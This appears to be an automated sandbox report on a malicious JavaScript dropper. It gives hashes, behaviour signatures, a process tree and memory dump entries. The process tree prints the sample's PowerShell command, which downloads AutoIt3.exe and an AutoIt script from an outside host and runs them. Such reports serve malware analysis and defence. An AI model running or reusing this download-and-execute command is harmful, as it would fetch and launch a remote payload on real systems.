Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2023 16:19

General

  • Target

    31102023_0018_sta.js

  • Size

    135KB

  • MD5

    e8d3f1c032e4333cdeb1f88a463b1fd2

  • SHA1

    4c5dbe8b97b8be956f00543731a63f7b1b007e30

  • SHA256

    108d14d4973a937b7cc50efd9899c4eee458667810f9aae74e7eeba1312a9b73

  • SHA512

    cb4e6b08b0328cd05c43634809e5162f1009bebabcb370a20e84028f8cbb3413cc90f748c63498be02b33e6bec7bbc6bdfa6328b64da9494797d34badce30b7b

  • SSDEEP

    1536:uZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0J:NT9U7hgaX6eerjqlI2IO6Mzqfh

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0018_sta.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiydguxwlx' -OutFile 'ydguxwlx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ydguxwlx.au3'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2240

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2240-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2240-5-0x0000000001F50000-0x0000000001F58000-memory.dmp

    Filesize

    32KB

  • memory/2240-6-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2240-8-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2240-9-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2240-7-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2240-10-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2240-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2240-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB